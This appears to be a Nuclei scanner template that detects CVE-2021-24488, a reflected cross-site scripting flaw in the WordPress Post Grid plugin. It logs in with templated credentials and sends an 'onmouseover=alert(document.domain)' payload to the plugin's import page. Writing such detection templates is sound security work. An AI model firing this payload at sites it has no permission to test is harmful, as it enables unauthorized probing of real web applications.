id: CVE-2021-24488

info:
  name: WordPress Post Grid <2.1.8 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Post Grid plugin before 2.1.8 contains a reflected cross-site scripting vulnerability. The slider import search feature and tab parameter of thesettings are not properly sanitized before being output back in the pages,
  remediation: |
    Update to the latest version of the WordPress Post Grid plugin (2.1.8 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fc0aace-ba85-4939-9007-d150960add4a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24488
    cwe-id: CWE-79
    epss-score: 0.00302
    epss-percentile: 0.66198
    cpe: cpe:2.3:a:pickplugins:post_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: pickplugins
    product: post_grid
    framework: wordpress
  tags: authenticated,wpscan,cve,cve2021,xss,wp,wordpress,wp-plugin

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="\"onmouseover=alert(document.domain)/">'
          - 'Post Grid'
        condition: and

      - type: status
        status:
          - 200

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